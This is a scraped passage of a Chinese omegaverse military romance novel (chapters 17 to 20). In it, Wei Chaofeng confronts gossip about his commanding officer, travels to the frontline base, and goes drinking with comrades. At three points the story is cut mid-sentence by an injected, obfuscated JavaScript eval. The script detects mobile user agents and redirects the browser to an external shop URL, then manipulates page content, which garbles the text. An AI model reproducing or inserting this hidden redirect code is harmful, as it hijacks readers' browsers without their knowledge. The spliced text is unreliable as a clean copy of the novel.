卫嘲风作为还没有去前线报到的前后勤部队成员,这种时候当仁不让得参加车间劳动。他可不想被人戳着肺管子说三道四。 所有能够回收的武器都被相关负责人从战场上收捡回来,由车间鉴定剩余价值,修复之后还能正常使用的就投入修理队列,整体不可使用但零件还能回收利用的投入拆解队列,彻底失去军事价值的统一被送到城郊的垃圾处理中心,再次进行剩余价值鉴定。 卫嘲风所属的五车间主要负责修理工作,这也是目前维修部门最繁忙的工作,三分之一的车间都在从事对各种机械机甲的修复。 中午的时候,卫嘲风没去食堂,拆了一份三明治,吃完就在正在修理的BOS的臂弯里睡起觉来。 因为之前的超负荷作战,身体好像比以前更加容易疲惫了。 虽然很累,但又没法立刻入睡,只能眯着眼睛强行让身体放松。 这时候,从下方不知何处传来的声音让他猛的一个激灵。 说话的人提到了他的名字。 “卫嘲风被调去前线的事情,怎么一直都没听人讨论,你不觉得很奇怪吗?” “还好吧,现在前线不是大量缺人吗,正好他赶上机会露了一手,被调去前线也算合情合理。可别跟我说你眼红?现在谁还乐意往前线跑呀,反正我呆在后勤就好。” “我又没说我想去前线,搞得我好像嫉妒卫嘲风那小子似的。” “你不嫉妒你奇怪什么?他去前线就让他去呗,哪天死在外太空了,不就称你心了?” “不跟你扯这些有的没的,我感觉卫嘲风是因为巴结上了那个人才会有这么一出的。一般情况,怎么会一进前线就被分到ECHO的,而且还是第一战列?你看蓝远山那种老兵不也只混了个第三战列吗?还有啊……有一天退勤的时候,我亲眼看到卫嘲风跟着那个人出了营地。” 听到这儿,卫嘲风差点克制不住,想要当场从这五六米高的地方跳下去,将那背后说人闲话的家伙救出来好好教训一顿。 但他还是忍住了冲动,继续听下去。 “分到第几战列是指挥部决定的吧,这种事情就算是长官也说不上话的。” “就是这!”说话的人陡然提高了声线,而后又立刻压了下去,卫嘲风必须得屏息凝神才能听到后面的话。 “你还记不记得,大概三年前还是五年前,有人传过那个人和元帅的绯闻。” “那时候我还没调到车间来,你们都传了些什么?” 17. 元帅的情人 说话的声音更轻了。 “有传言说那个人这么年轻就能升到上校,还能在LOGIS当指挥官,是因为做了元帅的情妇。” 卫嘲风差点把刚才吃的三明治喷出来。 另一个人噗地笑了起来:“传这话的人是不是有病啊,连元帅的玩笑都敢开?我觉得长官的能力挺强的啊,怎么就不能是靠实力升上来的呢?她在来LOGIS之前就是在ECHO的吧,精锐部队普遍晋升快,你又不是不知道。” “就是因为她之前在前线,所以才会和元帅不清不楚嘛!别看她整天板着个脸,骨子里可不正经了。可惜是个beta。” “……你。哎。” “叹个屁的气啊,在我面前还装什么清高,谁不知道你脑子里也就有点黄色废料了。” “……如果那个流言是真的,元帅的口味还真奇怪。真的会有alpha好那口吗?” “位高权重的老男人很多都有奇怪的爱好,以前新闻不是也有爆料过,只是再往上,那帮号称天不怕地不怕的记者也不敢调查下去了。” “……这些事你最好还是少说,被人传到长官耳朵里怎么办?要是假的,你这就算是侵害他人名誉,要是真的……那长官背后可是元帅,你惹得起吗?” “别让她听见就行了。又不会让她少块肉。” “喂——你!” 附近炸起一声震响。 盘腿坐在被超大零件遮挡住的角落里的男性猛地抬起头,不安地看向从天而降的那条身影。 照向角落的光线被遮住了,躲在这里说闲话的上等兵被覆盖在阴影之中。 “你要干什么?” “这不就是你说的那个,卫什么吗?完了,刚才的话被他听见了,我们要遭殃了!” 卫嘲风一下子就通过声音给面前的两个人对上了号。左边那个是满嘴污言秽语的,右边那个是多少还懂些礼貌的。 他伸手掀开挡在路上的大型零件,恨不得就这么向那个不知天高地厚的家伙砸过去。 “卫嘲风。” 最不该出现在这里的人出现了,用毫无波澜的语气叫住了处于暴走边缘的部下。 “跟我来一下。” Alpha男性站在原地没有动,面色阴沉地盯着角落里的人,过了几秒,闭上眼睛,做了一个深呼吸,才放下那件零部件,转过身,向不知何时出现的长官走去。 卑猥的声音还在窸窸窣窣地从后面传来:“我去,他们两个肯定有鬼!” 卫嘲风用犬齿咬住下唇,拼命克制着将那人暴揍一顿的冲动。 他跟在beta女性身后,穿过了三个车间的过道,穿过后勤大厅,来到后勤指挥官的办公室。 “到底有什么事?”他呼吸着办公室里冷冽的空气,皱眉问道。 Beta女性在办公桌后坐了下来,看似选择了一个视觉上的低位,但换一个角度来说,这是在彰显她上位者的身份。 “你不是很想进ECHO,很想成为驱动者,想到可以拿自己的身体来换吗?好不容易就要实现梦想了,你却要轻率地放弃这个机会?” “我不明白你什么意思。” “刚才你要是真的动了手,别说进第一战列,军队的处分就够你喝一壶的。” “我听不下去他们在那儿胡说八道!”卫嘲风忿忿地将脑袋别向一边。 “他们在说关于我的事?”beta女性问道。 卫嘲风突然慌了神,辩解道:“也、也牵扯到我的名誉问题了。” “为什么一开始不动手?后面的话已经跟你无关了吧。” “怎么可能无关!”他将头转了回来,直直地看着办公桌后的人。 那只颜色异常的眼睛实在太特别了,只要视线落在那张脸上,就无法不被那只眼睛吸引。 那只眼睛,今天也一如既往地闪着寒芒。 “你讨厌我吗?”beta女性表情严肃地问道。 “我讨厌你!”卫嘲风不假思索地回答,“你对我做了不可饶恕的事!我不会原谅你的!” “那刚才为什么要帮我出头?” “我没有!” “嗯。”beta女性不置可否地应了一声。 卫嘲风不得不重新强调:“我才不是为了替你出头,我只是觉得在背后说人坏话很可恶,那些可恶的话里还带上了我的名字。而且……他们还侮辱了元帅!总之、总之我没有原谅你。但毕竟在那场交、交易里,我们已经得到了各自想要的东西,所以我不会一直纠结。” “嗯。” “我、我要说的就是这些。如果你没有别的话,那我就先走了。”alpha退了一步。 Beta女性闭上眼睛,用手指在眉间揉了两下:“以后做事不要再这么冲动了。ECHO虽然是个不拘小节的地方,但也没你想象的那么好混,不小心的话,是会丧命的。” “我知道!”卫嘲风不耐烦地说道。 “到前线之后,如果有任何问题,都可以来找我。” “知道了。” 卫嘲风迫不及待地要从这个房间离开。 在那些事情之后,他没法接受长官这像是道貌岸然似的好言好语。 但在带上房门的瞬间,他忍不住回看了一眼。 Beta女性微微仰着脑袋,眼睛不知在看向何处,修长有力的手指无意识地游走在锁骨附近,好像在触碰那里的某样东西。 至于是什么东西,军装的布料将它覆盖得严严实实,让人无从猜测。 是一个挂件吧。 会是怎样的挂件呢? 卫嘲风关上办公室的门,忍不住摸了一下自己的锁骨。 玉石轻轻地硌着凸起的骨头,在衣服下面形成一个微弱的拱起。 她得到了想要的东西。 自己也得到了想要的东西。 当初的那场交易,就此钱货两清了吧。 正如他刚才说的那样,不该再纠结了。 既然这样,心里的那缕不甘,又是因为什么呢? 自从在午休时间听到有人乱嚼舌根之后,卫嘲风选择在午睡时戴上耳塞,以避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144874|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免被污言秽语扰了清眠。 关于车间里暗中流传的他和长官的秘闻,他已经打定主意不多加理睬。 因为他问心有愧。 他的调令,就算不完全是,也至少有一部分是靠不可告人的交易换来的,他又有什么立场去和别人对线? 以此类推,长官和元帅之间,说不定也存在着什么难以启齿的过去,否则那些卑鄙的家伙为什么非要编造这样的谎言。 元帅的玩笑谁敢随便开? 说不定那就不是玩笑呢。 难道一个beta想要上位,不管其本身有多优秀,都必须比alpha多走一步潜规则才能抵达彼岸吗?这简直是对军人这一职业的侮辱。 然而受到不公平待遇的beta其实很可怜。 如果有光明正大、坦坦荡荡的晋升途径,有谁会愿意这么做? 他自己不也是这样? 如果确信自己能靠脚踏实地积累功勋实现梦想,他又何必在这里独自烦恼? 至少他是一个alpha。一个alpha的成功不至于引起太多的猜测和质疑。 最多也就是充当谈笑中一段不咸不淡的开场白。 * 两周后,正式的补充调令开始进入公示期,卫嘲风在蓝远山的帮助下完成了在后勤部队的所有工作交接,带上了队里为他们践行的装备包,在专机接送下正式前往作战部队的基地。 长官比他们先走一步,因此旅途一路只有原属于后勤部队的两个人,以及专门的航舰驾驶员。 光是看窗外那些一成不变的风景让人感到了无生趣。 等航舰到基地的时候,港口已经有人候着了。 卫嘲风心想那应该是第一、第三战列负责接收新人的老兵,但等到下船上了码头,那些人尽数向蓝远山走了过去,一些笑容满面,一些双臂大张,好像要扑到他身上给他一个熊抱似的。 “远山中尉!” 其中一个纹身已经超过袖口,几乎覆满了整个手背的家伙用亲昵的口吻跟他打了一个招呼,然后两个人默契地把手握在一起,还撞了撞肩膀。 卫嘲风这才知道蓝远山的军衔。 他从没见到前辈穿正式的军装,而工装和驾驶服上面是没有军衔标记的,他也从未花过时间在打探同僚的军衔高低上。 这些对蓝远山表现出莫大欢迎的军人应该是他曾经的战友,因为得知调动的消息,特意到这里来迎接他的吧? 一起上过战场的,那可是过命的交情,感情又怎么可能不好。 那群人围着蓝远山叙了会儿旧,接着就要带他回第三战列的营地,从战列借来的车就停在不远处。 眼看着唯一的依靠即将被带走,卫嘲风突然不安起来,他跟了几步,试探着叫了一声:“前辈。” 像在发送求救信号。 蓝远山被裹挟在几个彪形大汉中间,好不容易才扭过头来,露出一个无奈的表情:“都是我的老朋友,我先跟他们走了,你再等等,一列那边肯定也会派人过来接你的。” 但愿如此吧。 18. 接引 卫嘲风停下脚步,目送着前辈被那些热情的战友们塞进了车里,然后眼睁睁地看着那辆车扬长而去,直到消失在视野之中。 航舰的驾驶员此时也收拾好了东西,从驾驶舱走了出来。 他左右看了看,冲杵在码头上的青年点点头,然后将手里的一块汗巾搭到肩上,提着足足有一升容量的水瓶,向港湾小屋——也就是工作人员的专用办公处走去。 卫嘲风灰溜溜地走到刚才搭乘的那艘航舰边上,决定在这里等候第一战列的迎送人员。 战列内部应该早就收到了航班的信息,只要等在这里的话,总会有人来接他的。 这个位置视野开阔,他可以一眼看到从大路上驶来的车辆。 就这样百无聊赖地等了大约两个钟头。 卫嘲风开始觉得事情有些不对。 再是考虑到地面和前线的时区换算、时间的误差、交通的堵塞,甚至是对他的怠慢……都不应该过了两小时还让他无人问津。 他立刻就猜想这会不会是某人故意捉弄自己,愈发气不打一处来。 终端还没有连入前线基地的通讯网,既没法通过邮件询问状况,也没法查找路线。 卫嘲风左思右想,最后决定去港湾小屋碰碰运气。 还没进门,就在外面的告示板上看到了一张前线基地的老式地图。 以终端为载体的多功效智能地图早就大范围普及,没有接受过军事教育的一般人恐怕已经看不懂这种早就过时的地图了,不过对军校毕业生来说,这东西还是小菜一碟。 他将主要路线记录在终端的离线记事本上,确定了第一战列的营地方向,在心里模拟了一遍走向。 他决定徒步前往目的地。 在做这件事的时候,不知是由于过度专注还是心不在焉,他遗漏了一个重要的步骤。 ——确认地图的比例尺。 直到在离开港口后径直走了好几公里,都没有看到笔记中的那个岔路口,他才意识到自己犯了错误。 在这个进退两难的场景之中,他最终选择了继续前进。 他体能优秀,耐力良好,速度中等偏上,曾经有过四天四夜不眠不休的行军经验,这种平铺直叙的公路根本难不倒他。 昼夜开始发生交替。 苍白到渗人的恒星光芒逐渐远去,沉没到地平线的另一边。 而这一边,深空的幕布夹带着远方闪烁的天体将这颗离群的孤星包围。 热量从低比热容的路面上迅速流失,空气在短短几分钟间变得寒冷异常。 Alpha男性的身上是从维修部门带出来的咔叽布工装和腈纶里衣,真正能够抵御低温的只有他健康且警觉的身体。 视线里是从口中呵出的白气,仿佛周身这片伶仃土地的脚注。 他就是行走在荒原上的唯一的人类。 他已经被那个喧闹嘈杂的世界抛弃了。 如果把此时这种近乎苍凉的孤独和凄惨也视为梦想成真之前的考验,那他的梦想到底算是什么东西? 说不清心中的情绪到底是伤感还是委屈,又或者是大失所望。 一直以来,他能想到的为实现梦想能够付出的最大代价就是失去生命。 如果是为了守卫家园、保护人类的话,在战场上牺牲无疑是无上光荣的事。 可现在,他却觉得自己就像一条在旱地上挣扎的蚯蚓。 蚯蚓唯一能够接近天空的机会,就是成为飞鸟的食物。 如果说这也算得上实现翱翔天空的梦想,未免也太过可笑了。 就在他胡思乱想的时候,右前方的弯道后面传来了引擎转动和轮胎碾压地面的声音。 那声音在与他错肩而过之后便停了下来,是一辆和接走蓝远山的营地车相似的四轮电车。 熟悉的声音从后方直击他的后脑勺:“卫嘲风,你怎么在这里?” 青年慢慢转过身去,在摇下的车窗里看到了让人联想到地面上那片灰蓝色天空的眼睛。 他如梦方醒,用干涩的声音说道:“我正要去营地报到。” Beta女性闻言皱起了眉头:“为什么要擅自行动?蓝远山没跟你说过会有人去港口接你吗?” 胸口的起伏在不知不觉间变得明显起来,节奏也比平时快了很多。 青年艰难地张口,为自己辩护:“我、我在那里等了两个小时……没有人……” 车里的人愣了一下,脸上的惊讶多过了责备。 她没打算在这个问题上浪费时间,将头侧转了十五度,对站在路边的部下说道:“上车。” 卫嘲风不知道自己是怀着怎样的心情打开车门的。 尽管当时思维并不清晰,但他还是在潜意识的催动下绕远路坐到了副驾驶座上,因为他听说坐在后座是对上司的失礼。 “为什么摆出那副表情?”beta女性一边快速将方向盘打死,一边用闲聊般云淡风轻的语气问道。 卫嘲风低头看着自己交叉在一起的手:“什么表情?” “被遗弃的犬科动物的表情。”beta女性用陈述客观事实的口吻描述道。 卫嘲风的自尊心已经在昼夜交替时的寒风中变得七零八落,上司那具有侮辱意味的陈词已经无法再打碎它分毫。 Alpha男性无动于衷地垂头坐着,身心都被一种沉重的疲惫感包裹起来。 匀速而稳定运动着的四轮机械让他感到些许安慰,但对于改善他的情绪而言不过是杯水车薪。 只不过是他一厢情愿地想要进入ECHO,想要成为BOS的驱动者,想要成为被世人称赞的英雄。 但命运在给他降下第一个不合理的考验时,就已经暗示他最好另做打算。 他的梦想是不受欢迎的,是被指指点点的,他已经提前预见到那些即将和自己成为队友的人并不喜欢自己。 今天发生的事,怎么看都像是一场提前安排的下马威。 “只是负责接洽的人看错航班时间罢了,回去我会好好说他的。别跟个被害妄想症似的。”正在开车的beta女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157644|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性像是看穿了他的苦恼,用贬损的方式安慰了一句。 * 直到左肩被人拍了两下,卫嘲风才意识到自己在车上睡了过去。 他嘟囔了两声抱歉,然后伸手去解安全带。 就在他把右臂靠在车门上寻找把手的时候,车门自己就开了,他来不及调整重心,险些摔出去。 有人及时在他腰间扶了一把,反射神经的回应差点让他弹飞起来。 “对不起对不起!我不知道你正要出来。”一个略显聒噪的声音在他头顶嗡嗡作响。 他懵懵懂懂地扶着车门站稳,看到了一个把头发梳得像板刷般的青年。 “是我把二点说成了十二点!是我眼瞎!我向你道歉!” 青年用力地拽住他的手臂,用力地上下晃动,用力地说道。 从驾驶座绕过来的女性拧着他的肩膀将他扯远,“道歉的话明天再说,现在先让他去休息。” “朱厌上校!痛!痛啊!”板刷头大叫起来。 Beta女性没有轻易饶过他,左手依然紧紧抓着他的肩膀,将他控制在距离车门一米多远的地方,一边对还没彻底清醒的部下说道:“先去指挥中心报个到,把宿舍钥匙领来,其他的流程明天再走。” “你偏心部下,不偏心队友!”板刷头还在哇哇大叫。 卫嘲风觉得自己的脑壳都跟着一起嗡嗡震动起来,不得不用手捂了一下额头,闭眼做了几个深呼吸。 “完了,我被红风男孩讨厌了!”板刷头的声音终于变轻了一点。 卫嘲风这才模模糊糊地想起了这个声音,这就是在通讯器里称他为红风男孩的那个人。 “他有名字的,卫嘲风。别给人家起奇奇怪怪的绰号。”beta女性终于松了手,“跟我来。” 后面那句是对部下说的。 卫嘲风冲板刷头点了点头,然后跟在长官身后,离开了停车场。 “那家伙叫邹允,以后就是战友了。”beta女性的声音从前面缓缓地淌了过来,“我保证他也不是有意捉弄你。除了战斗之外,那家伙做其他事情就没一件靠谱的。” 卫嘲风想起蓝远山曾经告诫过自己的话,当一个前线的士兵,最好学会心大。 内耗是最要不得的。 尽管在报到当天因为邹允的失误,致使卫嘲风的内心受到了一吨伤害,不过这种伤害很快就在接下去充实的训练生活中康复了。 除了beta女性被指定为他的督导员之外,他在这里并没有遭到无论是正面还是负面意义上的特别对待。 所有人都勤于训练,并且都喜欢力争上游。 各种训练项目的成绩排名每天都会发生变化,因为被压在下面的人永远都想往上走。 比起关心一个新人的琐事,这里的绝大多数成员更愿意花时间去提升自己。 没有人喜欢把时间浪费在捉弄一个新人上面,从这种角度来说,卫嘲风受到了相当程度的冷落。 不过比起恶意的关注,他更喜欢现在这样。 19. 柠檬红茶 训练和工作一样,以周为周期,练五休二。 在训练日拼死拼活的战士们,一旦到了假日,就会转眼变得像烂泥或沙子一样散漫。 第一周的适应期,卫嘲风在相对有自信的机械原理考试中得了垫底的成绩,这个结果让他大受打击。 其他项目成绩不佳也就算了,日后尚有提升空间,但作为维修部门出身的工兵,在老本行上收获败绩,也令人沮丧了。 周六,他本想在宿舍复习一下机械基础,刚看了半个小时的教材,就被一阵狂躁的敲门声打断。 邹允的板刷头从门缝间钻了进来,嵌在他眼窝里的那对敏锐的眼睛顿时扫射到书桌上的课本,两条眉毛立刻倒竖成可怕的角度:“你在大好的休息日里干什么?” 彼时的卫嘲风还不太清楚这里的风气,是故老老实实回答:“想补习一下机械原理的基础部分。” 邹允当即撑开门板,冲进了宿舍,将桌面上的书啪地合了起来,一把就精准地丢进书架上那个只有两公分宽的空隙里——不得不说,这等绝技可不是每个人都能学会的。 “周末学习涉及不正当竞争,这次只是提醒,下次就要没收作案工具了。” “可是我才刚进第一战列,不充分利用时间,怎么赶得上前辈们的进度?”卫嘲风无辜地看着他。 邹允狂放不羁地笑了起来:“这里多的是从军超过十年的人,你打算花多少时间追上他们的进度,一年,还是半年?” “尽我所能。” “行了行了,把尽你所能放到平时去吧,该休息的时候就好好休息,绷得太紧,到真正上战场的时候反而容易出事。” 卫嘲风于是又想起了蓝远山的心大理论,留恋地看了一眼《机械原理(第三版)》,应道:“那我就听前辈的。” 邹允满意地点了点头,一只脚得意地在地板上打起拍子来:“走,去找上校同志,咱们喝酒去!”不等新兵回答,就趁人不备地拽住他的胳膊,将他强行拖出了房间。 卫嘲风手忙脚乱地给房门上了锁,“上校?” 邹允侧过头,露出让人感到莫名其妙的神秘笑容:“你的督导员啊。为了避免被人说是我带坏你,当然要把她叫上。” “等等!”卫嘲风着急起来。但实际上他也不知道自己在急什么。 “等等?要给你留出打扮的时间吗?”邹允问。 “不是……” “那就出发!” 前线基地的宿舍都是单人单间,没有性别区分,毕竟在只有alpha和beta存在的地方进行性别隔离的意义不大,至多只在卫生间能看到针对第一性别的划分。 邹允不由分说地拖着新兵在宿舍楼的走廊上一路狂奔。 不知道是因为未经准备的剧烈运动,还是别的什么缘故,卫嘲风觉察到自己的心脏跳得很快。 板刷头在楼道尽头的房间前面进行了一个急刹,结果被没有反应过来的后辈直接撞到门上,发出一声闷响。 房间里很快就传来走动的声音,而且离房门越来越近。 旋把一转,门开了。 穿着宽松T恤的beta女性趾高气昂地站在门内,不满地看着贸然打扰的两个愣头青。 “有何贵干?” 邹允伸长了胳膊,一把搂住女人的脖子,笑嘻嘻地说:“好久没有喝一杯了,带这小子一起,走不走?” 卫嘲风听出来他本来就是想找beta女性约酒,自己只不过是个添头。 但是这样也好。 比倒过来要好。 他心虚地望向门内,看着两个人勾肩搭背的样子,心里竟觉得羡慕。 Beta女性将邹允的胳膊甩开,肩膀垂落的时候,T恤的领口也下落了一些,露出了晃动在锁骨前的一枚玉佩。 卫嘲风眨了眨眼,以为自己看错了,正想仔细看看,那枚青润的玉石又重新滑到了布料下面,只在脖根留下被拉直的挂绳。 无论是颜色、大小、形状还是质地,他都见过与之无比相似的事物,而那事物如今就在他的锁骨之间,完美地嵌合在那个凹陷的地方。 那时候,她身上明明没有戴着这样的东西。 他想起她落在玉佩上的吻,想起她划过颈部的手指,想起她在病房窗前背光而立的模样,想起她在车窗后面的眼神…… 在脑中闪现一切与她有关的情节之后,视线再次落到她的领口。 “怎么,你是怕我不同意,所以特意把这家伙也带来了吗?”灰色的眼睛望向门外。 邹允用另一条胳膊把卫嘲风勾进了门:“我可没有强迫他,他说想熟悉熟悉这儿的环境,总不能成天闷在宿舍里吧?” “唔,嗯。”卫嘲风含含糊糊地应道,目光却仍在白色T恤的领口纠缠不清。 他想确认那一瞬看到的东西是不是自己的错觉。 如果是,他为什么会出现那种错觉。 如果不是,她为什么会戴着一枚和他相似的玉佩? 一旦有了这个疑惑,他不免续想下去——她难道……真的喜欢自己? 冲动和自恋都是极其容易出现在alpha身上的个性,尤以男性alpha为甚。 青年时常告诫自己不能自我感觉太好,但又必须指出:她的所作所为难道就不会引起误会吗? 若非属意自己,何必提出那种荒唐的条件,若非在乎自己,又何必给他诸多照顾…… 虽然说alpha喜欢上beta听起来像是天方夜谭,但换一个角度,对beta来说,第一性别才是他们寻找伴侣的主要区分因素。 因为他们对信息素无感,自身也不具备费洛蒙腺,只需要区分男女就够了,alpha也好beta也好omega也好,对他们来说并没有区别不是吗? 所以beta喜欢上alpha并不奇怪。 不是吗? 就像……就像她曾经和辛冽相恋一样。 卫嘲风看着beta女性在如此轻松诙谐的氛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173159|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围下依然面无表情的脸,突然对自己的假设感到沾沾自喜起来。 身为alpha的自己绝对不会和一个beta成为伴侣,但如果这个beta不小心喜欢上了自己,这固然会成为无疾而终的单相思,却也值得让人感到庆幸,正因为自己无法回应这种感情,他觉得自己有责任不让对方伤心。 更何况,她看起来完全像是一个不会对任何人动心的人。 获得此等芳心是多有成就感的事,也就只有真正体会过的人才知晓了。 * 邹允介绍的是一家开在五公里外的公路酒吧。 前线基地虽然笼统地被认为是一个军事基地,但实际上是一颗大部分区域被划作军用的人造星球。 和十年前遭受群落侵害的启程星一号一样,是被投放到母星轨道上的人造天体。 大多数地面设施都能在这里找到对应,其中就包括各种娱乐场所。 和一板一眼的军营建筑不同,这间酒吧看上去就像雨后突然出现在草坪上的菌子一样,兀然又怪异地立在一望无际的平原上,内外装修无不透露着半个世纪前的审美风格。 酒吧的招牌是用饱和度极高的彩色灯圈勾勒出的异种文字,你不能妄图从义务教育的课堂里得到关于那几个字符的知识。 卫嘲风问邹允那些符号代表的意义,邹允回答说那是蜥蜴人的文字,并开始尝试模仿蜥蜴发音。 蜥蜴会发出叫声吗?反正卫嘲风从来没有听到过,也无法对前辈的模仿作出评价。 同样,他也没有真的期待过这儿的老板是一个外星人,所以在看到吧台前那只一人高的蜥蜴时被吓了一跳。 “是皮套吗?”他小心地问道。 邹允做了一个嘘声的手势,又扇了扇手掌,让他凑过去,低声解释道:“那是从3号群落来的移民,就长那副样子。对咱们的语言不怎么精通,但是调酒的手艺很棒。” 目前人类已经记录了73个群落,并与其中11个群落达成了友好共存的协议。 这11个群落不参与危险系数的评定,但较真的话,大多都可以归为超S级群落,特征是具有智能,能以科技手段和人类进行信息交换,即沟通。 Beta女性在吧台靠边的地方找了一个座位,邹允立刻推着卫嘲风屁颠屁颠地走了过去。 “我要一杯第一定律。你喝什么?” 卫嘲风在明暗交错的背景中勉强辨认出菜单上的文字,用人类文字和蜥蜴文分别进行标注的酒水品类,遗憾的是没有配图,光凭名称很难想象那究竟是些怎样的饮料。 “那……我要一杯蓝巨星。”他不想让人觉得他是个不适应这种场所的小孩,于是不管三七二十一,假装果断地选了一个看上去顺眼的。 ——至少比第一定律这种完全不知所云的名称要具象很多。 邹允吹了一声口哨,蜥蜴老板点了点头,表示明白。 “上校同志,你喝点什么?” “柠檬红茶。” 20. 品酒 “你不喝酒吗?柠檬红茶哪儿不能喝,难得来一趟这里,就喝一杯嘉年华吧!” “我怕你们喝过了头,到时候回不了宿舍。” “老板会帮我们叫车的。” 听着两位同行者你一言我一语,卫嘲风这才在菜单的最角落看到了软饮料的区域,上面登载着几种他十分熟悉的无酒精饮品的名字。 如果早点注意到的话,他肯定也会从中做出选择。 “无论如何,军人应该保养好自己的身体。难得放纵一次不要紧,但也不要喝太多。” 蜥蜴人已经开始摇酒了,卫嘲风亲眼看到他把有着毒药般颜色的各种液体倒进调酒器里,然后像跳大神一样疯狂摇了一分钟之后,倒出了一杯看起来比纯净水还要无害的无色透明液体。 接着又从装着各种配料的柜格里取出一颗直径大约一公分、有着金属光泽的黑色球体,并将其轻轻放入盛有无色透明液体的鸡尾酒杯里。 那球体没有浮出液面,也没有沉入杯底,而是稳定地悬浮在液体中间。 按照一般的科学知识判断,这是因为球体的密度和液体的密度刚好一致。 “第一定律。”蜥蜴人把杯子端到邹允面前。 他的声音质感和人类很不一样,但发音和吐字非常清晰。不知道他为了学习这门外星语言花了多少力气。 他很快就转身去做第二杯酒了。 卫嘲风饶有兴致地观察着他的动作,但当看到他把一小杯泥浆一般的东西加入调酒器时,他决定还是不要管过程如何,静待结果就好。 最后被端到他面前的是一杯印象完全符合其名称的鸡尾酒。 透亮的蓝色。 既可以说它单调乏味,也可以说它意趣无穷。 “这东西度数不低。你会喝酒吗?”beta女性突然转过头来。 卫嘲风看着那杯人畜无害的可爱饮料,不希望自己被一个来酒吧甚至不点酒的beta看轻,赌气似的说道:“哪怕它是百分之百的乙醇呢!不过这么一小杯而已。” “神志不清倒还好说,烂醉如泥的人是很难搬运的。” “我才不会差劲到变成一滩烂泥呢!” 说话间,柠檬红茶也被端了上来。 这和卫嘲风认知中的寻常餐厅里的柠檬红茶不太一样,不管是柠檬还是红茶,都散发着异乎寻常的芳醇味道。 光从嗅觉的角度来说,那东西给人的感觉是既涩又酸。 “这里的柠檬红茶口味很特别,要不要试试?”beta女性举起杯子,在卫嘲风面前晃了一下。 卫嘲风被吓得立刻后退一步:“不、不用了。” “我要我要!”邹允兴高采烈地举起一条胳膊。 于是软饮杯被递到了板刷头手里,他假装矜持地吮了一口,提前皱紧的眉头在冰凉的液体划过舌头表面的时候倏地展开了。 他放下杯子,惊奇地眨了眨眼睛:“Bravo!对了,要尝尝我的吗?” 看起来交换饮料只是他们之间一种习以为常的活动罢了。 卫嘲风对自己的退缩感到后悔不迭,但事到如今再厚着脸皮说要加入,难免会显得之前的拒绝像是心里有鬼。 “来,干杯!” 在他还没消化完情绪的时候,邹允就举起了杯子,对着天花板上的一盏花苞形状的夜灯大声宣布道。 这回卫嘲风选择放弃形象,也对着那盏丑陋得有些迷人的花苞灯高声说道:“干杯!” Beta女性无动于衷地坐着,用三根手指夹着杯子,像正在观察显微镜下的玻片一样低头凝视着杯子里的液体:“我不喝酒,就不凑热闹了。” 这让卫嘲风再次后悔了自己的选择。 两只鸡尾酒杯热情地撞在一起。 邹允几乎是一口气就喝完了他的第一定律。卫嘲风见状,也跟着要喝,袖子却被人抓了一把。 “别学他。慢慢喝比较好。” Alpha男性不服气地挣脱了那只劝阻的手,脑袋一仰,就将那杯蓝色液体尽数倾倒进了口中。 没有想象中高度数酒的刺激,微凉的液体带着淡淡的薄荷香味,海洋的气息,似有若无的奶油的口感。 很甜,甚至有点甜过头了。但一点也不难入口。 是就算一口气喝光也会让人感到游刃有余的饮品。 只不过不太会想再喝第二杯就是了。 ——这应该是只有omega们才会热衷的甜味。 那边邹允已经选好第二杯鸡尾酒了:“今天我是定律的专场,老板,来一杯第二定律!”接着又问同伴:“卫嘲风,你呢?” Alpha男性无意识地越过邹允,看向坐在角落的上司,似乎是想要寻求她的意见,但她完全没有注意到这股视线,只是静静地坐着,静静地品尝着那杯死板的软饮料。 既然没有阻止,那就是说再喝也没问题吧?他不禁下了这样的结论。 “那我就来红巨星好了。对了,也帮我做一杯柠檬红茶。” 邹允伸手勾住他的肩膀:“想尝尝味道的话,问上校要一点就好了嘛,还特意多点一杯干什么?” 卫嘲风感到自己的耳尖有点发热,但无论如何也不会承认自己因为上司的选择而对那种明明随处可见的软饮料产生了兴趣,“我想着茶应该能用来解酒……” 接着,他觉得肩膀一沉。 再接着,又是一轻。 挂在他肩上的板刷头此时已经不省人事地倒在了地上。 充斥着大量气泡的第二定律被恭恭敬敬地端上了他的桌子。 “前辈!”卫嘲风还不知道发生了什么,蹲在地上,又是检查脉搏,又是确认呼吸,然后扶着邹允的胳膊用力晃动起来,“前辈,你怎么了前辈!” “只是醉了而已。”beta女性的声音从高高的凳子上飘了下来,“就让他躺在那儿吧,还是说就这么回去比较好?” “醉、醉了?!可是……” 可是才喝了一杯而已啊?! 